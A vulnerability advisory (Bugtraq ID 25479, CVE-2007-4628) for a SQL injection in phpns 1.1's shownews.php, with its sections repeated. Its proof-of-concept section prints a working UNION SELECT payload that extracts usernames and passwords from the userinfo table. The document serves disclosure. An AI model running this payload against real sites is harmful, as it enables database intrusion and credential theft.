phpns Shownews.PHP SQL Injection Vulnerability
BID:25479
Info
phpns Shownews.PHP SQL Injection Vulnerability
| Bugtraq ID: | 25479 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-4628 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 29 2007 12:00AM |
| Updated: | May 07 2015 05:35PM |
| Credit: | David Sopas is credited with the discovery of this vulnerability. |
| Vulnerable: |
phpns phpns 1.1 |
| Not Vulnerable: | |
Discussion
phpns Shownews.PHP SQL Injection Vulnerability
The 'phpns' application is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects phpns 1.1; other versions may also be vulnerable.
The 'phpns' application is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects phpns 1.1; other versions may also be vulnerable.
Exploit / POC
phpns Shownews.PHP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs available:
http://www.example.com/phpns/shownews.php?id=1'[SQL Injection]
http://www.example.com/phpns/shownews.php?id=1' union select all null,null,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),null,null,null
from userinfo/*
Attackers can use a browser to exploit this issue.
The following example URIs available:
http://www.example.com/phpns/shownews.php?id=1'[SQL Injection]
http://www.example.com/phpns/shownews.php?id=1' union select all null,null,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),null,null,null
from userinfo/*
Solution / Fix
phpns Shownews.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
phpns Shownews.PHP SQL Injection Vulnerability
References:
References:
- phpns Home Page (phpns)
- PHPNS SQL Injection (David Sopas)